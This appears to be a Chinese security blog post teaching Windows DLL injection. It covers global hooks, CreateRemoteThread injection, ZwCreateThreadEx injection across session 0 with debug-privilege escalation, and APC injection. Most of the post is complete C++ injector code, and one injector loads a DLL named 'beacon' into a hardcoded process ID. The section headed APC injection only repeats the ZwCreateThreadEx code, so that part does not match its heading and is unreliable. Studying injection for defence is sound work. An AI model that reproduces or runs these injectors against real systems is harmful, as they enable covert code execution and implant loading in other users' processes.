Dll注入
VSole2021-11-08 14:57:41
最近太忙啦XDM,又在做一些列的分析復現工作量有點大,更新要慢一點了。
參考
https://xz.aliyun.com/t/10318 本人C++才入門,所以代碼均來源參考文章,然后按照實際情況做了修改。
簡介
每個進程在運行過程中,都有一個和其他進程獨立的相對空間,在這個空間里,進程相當于擁有所有 權限。但是進程只能修改自己這個空間里的地址數據信息,和其他進程互相不干擾(就算相對地址 一致,也不會覆蓋其他的進程信息。) DLL注入技術,一般來講是向一個正在運行的進程插入/注入代碼的過程。我們注入的代碼以動態鏈 接庫(DLL)的形式存在。DLL文件在運行時將按需加載。就是類似一個程序A,強行加入了一個程序 B需要的dll,并執行了dll里面的代碼。而dll有程序B擁有,所以程序B擁有對程序A的控制權限。以 下情況可能對存在注入場景1.為目標進程添加新的“實用”功能; 2.需要一些手段來輔助調試被注入dll的進程; 3.為目標進程安裝鉤子程序(API Hook);
鉤子簡介
HOOK,是Windows消息處理機制的一個平臺,應用程序可以在上面設置子程以監視指定窗口的某種消 息,而且所監視的窗口可以是其他進程所創建的。當消息到達后,在目標窗口過程之前處理它。鉤 子機制允許應用程序截獲并處理window消息或特定事件。 HOOK實際上是一個處理消息的程序段,通過系統調用,把它掛入系統。每當特定的消息發出,在沒 有到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數先得到控制權。這時鉤子函數即可以 加工處理(改變)該消息,也可以不作處理而繼續傳遞該消息,還可以強制結束消息的傳遞。 簡單來講,消息發生的時候,由鉤子先捕捉到,進行加工處理。其中的回調函數,就是我們鉤子對 消息的處理函數。我們可以自定義一個鉤子,監控系統中的消息。其中攔截單個進程的叫線程 鉤子,攔截全局的叫系統鉤子。
全局鉤子注入
首先要知道,在windows的應用中很多都是消息機制。消息機制就是如下機制。 我們都是通過 API 函數來調用系統功能,讓操作系統來幫我們完成很多工作,例如調用 CreateFile() 函數,操作系統會幫我們創建一個文件,而不需要我們參與任何工作,非常方便。 事件:類似敲擊鍵盤等操作。 隊列:存放消息(先進先出) 消息:事件發生時發送消息。 簡單來理解:當用戶敲擊鍵盤,此時程序發出一個消息,存放在隊列中,供應用程序來讀取。 事件和消息同步。有事件就會發送消息。然后應用程序去依次調用。 這也就是消息機制。 windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子 一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
SetWindowsHookEx
這是用來設置鉤子的函數。 HHOOK WINAPI SetWindowsHookEx( _In_ int idHook, // 安裝的鉤子類型 _In_ HOOKPROC lpfn, // 處理消息的回調函數 _In_ HINSTANCE hMod, // 當前實例句柄 _In_ DWORD dwThreadId // 線程ID ); 來試想一下,如果鉤子函數在其他進程中獨有實現,在運行過程中,進程B想要去調用這個鉤子函數 是完全不可能的,因為他們處于不同的空間。所以調用方式應當是寫在一個Dll中,當誰需要的時 候,誰就去調用。當一個程序接收到了消息,此時操作系統就將全局鉤子加入到這個進程中,去對 消息進行處理。所以如果我們控制了鉤子函數的dll,然后輸入惡意代碼,當有消息時,dll被加 載,惡意代碼執行。 WH_GETMESSAGE 鉤子類型,可以監聽全局消息 GetMsgProc 回調函數 在消息到達的時候對消息進行處理 UnhookWindowsHookEx 卸載鉤子 SetWindowsHookEx 安裝鉤子
代碼實現
#include "pch.h"
#include
#include
#include
extern HMODULE g_hDllModule; //定義的外部變量
extern "C" _declspec(dllexport) int SetHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetHook();
// 定義了一個可以進程共享的數據段
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
//設置定義的數據段具有讀,寫,共享的屬性
#pragma comment(linker, "/SECTION:mydata,RWS")
//鉤子回調函數
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam); //將消息傳遞給g_hHook鉤子進行處理
}
// 設置鉤子
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);//設置了一個windows全局消息攔截鉤子
if (NULL == g_hHook) {
return FALSE;
}
return TRUE;
}
// 卸載鉤子
BOOL UnsetHook() {
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);//當沒有設置使用鉤子的時候,就卸載g_hHook鉤子。
}
return TRUE;
}
//主函數
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
g_hDllModule = hModule;
system("calc");
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//稍微說一下邏輯,做了一個鉤子的安裝,實現回調函數,然后卸載功能,當dll加載的時候,就生成一個句柄來獲取當前dll句柄。
#include
#include
#include // 必須包含 windows.h
int main()
{
typedef BOOL(*typedef_SetGlobalHook)(); //定義一個符號typedef_SetGlobalHook是一個函數指針,函數返回值為BOOL類型。
typedef BOOL(*typedef_UnsetGlobalHook)();//定義一個符號typedef_UnsetGlobalHook是一個函數指針,函數返回值為BOOL類型。
HMODULE hDll = NULL; //定義一個模塊句柄
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
BOOL bRet = FALSE;
do
{
hDll = ::LoadLibraryW(TEXT("DLL2.dll")); //加載Dll2.dll
if (NULL == hDll)
{
printf("LoadLibrary Error[%d]", ::GetLastError());//加載失敗的話,返回加載失敗的錯誤數值
break;
}
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");//獲取Dll中的SetHook函數
if (NULL == SetGlobalHook)
{
printf("GetProcAddress Error[%d]", ::GetLastError());//獲取失敗的話,返回錯誤的數值
break;
}
bRet = SetGlobalHook();
if (bRet)
{
printf("SetGlobalHook OK.");
}
else
{
printf("SetGlobalHook ERROR.");
}
system("pause");
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");//獲取UnsetHook函數
if (NULL == UnsetGlobalHook)
{
printf("GetProcAddress Error[%d]", ::GetLastError());
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.");
} while (FALSE);
system("pause");
return 0;
}
//代碼可以直接用之前的代碼注入實現(有點類似劫持了),這里我們做的hook,就借用茶寂messi996師傅的代碼實現吧,才做C++自己寫有點費時間。但是每一句代碼肯定還是要理解清楚的。


后續再多研究看看,這種注入感覺很類似劫持。
遠程線程注入
指一個進程在另一個進程中創建線程。 CreateRemoteThread HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); VirtualAllocEx 指定進程的虛擬空間保留或提交內存區域 LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); WriteProcessMemory 此函數能寫入某一進程的內存區域(直接寫入會出Access Violation錯誤),故需此函數入口區必須可以訪問,否則操作將失敗。 BOOL WriteProcessMemory( HANDLE hProcess, //進程句柄 LPVOID lpBaseAddress, //寫入的內存首地址 LPCVOID lpBuffer, //要寫數據的指針 SIZE_T nSize, //x SIZE_T *lpNumberOfBytesWritten );
實現原理
使用CreateRemoteThread這個API,首先使用CreateToolhelp32Snapshot拍攝快照獲取pid,然后使 用Openprocess打開進程,使用VirtualAllocEx遠程申請空間,使用WriteProcessMemory寫入數據, 再用GetProcAddress獲取LoadLibraryW的地址。在注入進程中創建線程(CreateRemoteThread)。關 于系統dll,簡單來理解就是每次windows啟動的時候,可能dll的基址會發生變化,但是啟動以后就 不會改變了,固定了。所以要調用這些系統dll的進程只需要訪問同一個基址(系統dll的基址就行 了。)
代碼
(1)主注入程序
#include
#include
#include
#include "tchar.h"
char string_inject[] = "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\dll";
//通過進程快照獲取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName) //定義了一個類似數組的LPCTSTR類型
{
DWORD Ret = 0;
PROCESSENTRY32 p32; //用來存放快照進程的結構體。
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //定義了一個句柄,其中CreateToolhelp32Snapshot()代表獲取了系統快照,類型為TH32CS_SNAPPROCESS,代表獲取了系統所有進程。
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);//進程獲取函數,參數1位快照句柄,參數2位需要放置的結構體
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))//通過循環遍歷所有進程id,進行判斷進程可執行文件名和傳入的進程名,如果相同,就獲取他的進程id
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);//關閉一個快照
return Ret;//返回進程id
}
//打開一個進程并為其創建一個線程
DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
{
//打開進程
HANDLE hprocess;
HANDLE hThread;
DWORD _Size = 0;
BOOL Write = 0;
LPVOID pAllocMemory = NULL;
DWORD DllAddr = 0;
FARPROC pThread;
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); //打開一個進程并獲取他的所有權限
//Size = sizeof(string_inject);
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);//_tcslen 求長度 這里應該是需要申請的內存空間大小
//遠程申請空間
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); //申請內存空間
if (pAllocMemory == NULL)
{
printf("VirtualAllocEx - Error!");
return FALSE;
}
// 寫入內存
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); //寫入內存中去,Dllname是要寫的數據的指針
if (Write == FALSE)
{
printf("WriteProcessMemory - Error!");
return FALSE;
}
//獲取LoadLibrary的地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//獲取DLL的輸出函數的地址,這里能發現LoadLibraryW在kernel32.dll這個系統dll中。
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
//在另一個進程中創建線程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);//在我們傳入的進程中創建線程
if (hThread == NULL)
{
printf("CreateRemoteThread - Error!");
return FALSE;
}
//等待線程函數結束,獲得退出碼
WaitForSingleObject(hThread, -1);//檢測線程的對象狀態
GetExitCodeThread(hThread, &DllAddr);//獲取退出碼
//釋放DLL空間
VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
//關閉線程句柄
::CloseHandle(hprocess);
return TRUE;
}
int main()
{
DWORD PID = _GetProcessPID(L"test.exe");
_RemoteThreadInject(PID, L"C:\\Users\\e0mlja\\Desktop\\DLL\\Dll2\\Debug\\dll");
}
(2)被注入程序(默認生成未改動)
// test.cpp : 定義應用程序的入口點。
//
#include "framework.h"
#include "test.h"
#define MAX_LOADSTRING 100
// 全局變量:
HINSTANCE hInst; // 當前實例
WCHAR szTitle[MAX_LOADSTRING]; // 標題欄文本
WCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口類名
// 此代碼模塊中包含的函數的前向聲明:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
// TODO: 在此處放置代碼。
// 初始化全局字符串
LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadStringW(hInstance, IDC_TEST, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);
// 執行應用程序初始化:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}
HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_TEST));
MSG msg;
// 主消息循環:
while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return (int) msg.wParam;
}
//
// 函數: MyRegisterClass()
//
// 目標: 注冊窗口類。
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEXW wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_TEST));
wcex.hCursor = LoadCursor(nullptr, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_TEST);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
return RegisterClassExW(&wcex);
}
//
// 函數: InitInstance(HINSTANCE, int)
//
// 目標: 保存實例句柄并創建主窗口
//
// 注釋:
//
// 在此函數中,我們在全局變量中保存實例句柄并
// 創建和顯示主程序窗口。
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // 將實例句柄存儲在全局變量中
HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);
if (!hWnd)
{
return FALSE;
}
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
return TRUE;
}
//
// 函數: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// 目標: 處理主窗口的消息。
//
// WM_COMMAND - 處理應用程序菜單
// WM_PAINT - 繪制主窗口
// WM_DESTROY - 發送退出消息并返回
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_COMMAND:
{
int wmId = LOWORD(wParam);
// 分析菜單選擇:
switch (wmId)
{
case IDM_ABOUT:
DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
}
break;
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
// TODO: 在此處添加使用 hdc 的任何繪圖代碼...
EndPaint(hWnd, &ps);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
// “關于”框的消息處理程序。
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message)
{
case WM_INITDIALOG:
return (INT_PTR)TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}
能夠看到,在test.exe中注入了我們的惡意程序。

突破session 0的遠程線程注入
Intel的CPU將特權級別分為4個級別:RING0,RING1,RING2,RING3。Windows只使用其中的兩個級別 RING0和RING3,RING0只給操作系統用,RING3誰都能用。如果普通應用程序企圖執行RING0指令, 則Windows會顯示“非法指令”錯誤信息。 簡單來說 ring3是用戶層,ring0的防護最高級。屬于到內核中去了。注入也是注入到內核中 ZwCreateThreadEx 也是創建線程,但是比CreateRemoteThread更底層,可以注入到內核層 OpenProcessToken 打開與進程相關的訪問令牌 LookupPrivilegeValueA 查看系統權限的特權值 AdjustTokenPrivileges 判斷進程的權限 //后面三個函數主要用來提權
代碼
// session0Inject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include
#include
#include
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
// 提權函數
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
// 使用 ZwCreateThreadEx 實現遠線程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
EnableDebugPrivilege();
// 打開注入進程,獲取進程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
printf("OpenProcess - Error!");
return -1;
}
// 在注入的進程申請內存地址
dwSize = ::lstrlen(pszDllFileName) + 1;
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx - Error!");
return FALSE;
}
//寫入內存地址
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory - Error!");
return FALSE;
}
//加載ntdll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 獲取LoadLibraryA函數地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA - Error!");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//獲取ZwCreateThreadEx函數地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread - Error!");
return FALSE;
}
// 使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
ShowError("ZwCreateThreadEx - Error!");
return FALSE;
}
// 關閉句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifdef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
#else
BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
#endif
if (FALSE == bRet)
{
printf("Inject Dll Error!");
}
printf("Inject Dll OK!");
return 0;
}

APC注入
APC,全稱為Asynchronous Procedure Call,即異步過程調用,是指函數在特定線程中被異步執行,在操作系統中,APC是一種并發機制。 QueueUserApc 添加制定的異步函數調用(回調函數)到執行的線程的APC隊列中 APCproc 回調函數 往線程APC隊列添加APC,系統會產生一個軟中斷。在線程下一次被調度的時候,就會執行APC函數, APC有兩種形式,由系統產生的APC稱為內核模式APC,由應用程序產生的APC被稱為用戶模式APC。
原理
在 Windows系統中,每個線程都會維護一個線程 APC隊列,通過QucueUserAPC把一個APC 函數添加到 指定線程的APC隊列中。每個線程都有自己的APC隊列,這個 APC隊列記錄了要求線程執行的一些APC 函數。Windows系統會發出一個軟中斷去執行這些APC 函數,對于用戶模式下的APC 隊列,當線程處 在可警告狀態時才會執行這些APC 函數。一個線程在內部使用SignalObjectAndWait 、 SleepEx、 WaitForSingleObjectEx、WaitForMultipleObjectsEx等函數把自己掛起時就是進入可警告狀態,此 時便會執行APC隊列函數。 簡單來說,每個線程都有一個APC隊列,里面放了一些APC函數。一定情況下這些APC函數會被執行。 1)當EXE里某個線程執行到SleepEx()或者WaitForSingleObjectEx()時,系統就會產生一個軟中 斷(或者是Messagebox彈窗的時候不點OK的時候也能注入)。 2)當線程再次被喚醒時,此線程會首先執行APC隊列中的被注冊的函數。 3)利用QueueUserAPC()這個API可以在軟中斷時向線程的APC隊列插入一個函數指針,如果我們插入 的是Loadlibrary()執行函數的話,就能達到注入DLL的目的。 條件 1.必須是多線程環境下 2.注入的程序必須會調用那些同步對象
代碼
// session0Inject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。//
#include #include #include
void ShowError(const char* pszText){ char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK);}
// 提權函數BOOL EnableDebugPrivilege(){ HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk;
}
// 使用 ZwCreateThreadEx 實現遠線程注入BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName){ HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0;
EnableDebugPrivilege();
// 打開注入進程,獲取進程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL) { printf("OpenProcess - Error!"); return -1; } // 在注入的進程申請內存地址
dwSize = ::lstrlen(pszDllFileName) + 1; pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr) { ShowError("VirtualAllocEx - Error!"); return FALSE; } //寫入內存地址
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory - Error!"); return FALSE; } //加載ntdll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll) { ShowError("LoadLirbary"); return FALSE; } // 獲取LoadLibraryA函數地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA - Error!"); return FALSE; }
#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);#else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);#endif
//獲取ZwCreateThreadEx函數地址 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx) { ShowError("GetProcAddress_ZwCreateThread - Error!"); return FALSE; } // 使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == ZwCreateThreadEx) { ShowError("ZwCreateThreadEx - Error!"); return FALSE; } // 關閉句柄 ::CloseHandle(hProcess); ::FreeLibrary(hNtdllDll);
return TRUE;}
int main(int argc, char* argv[]){#ifdef _WIN64 BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");#else BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");#endif if (FALSE == bRet) { printf("Inject Dll Error!"); } printf("Inject Dll OK!"); return 0;}
推薦實操:PythonHacking之DLL注入
PC端實操地址:http://mrw.so/6eym3S
VSole
網絡安全專家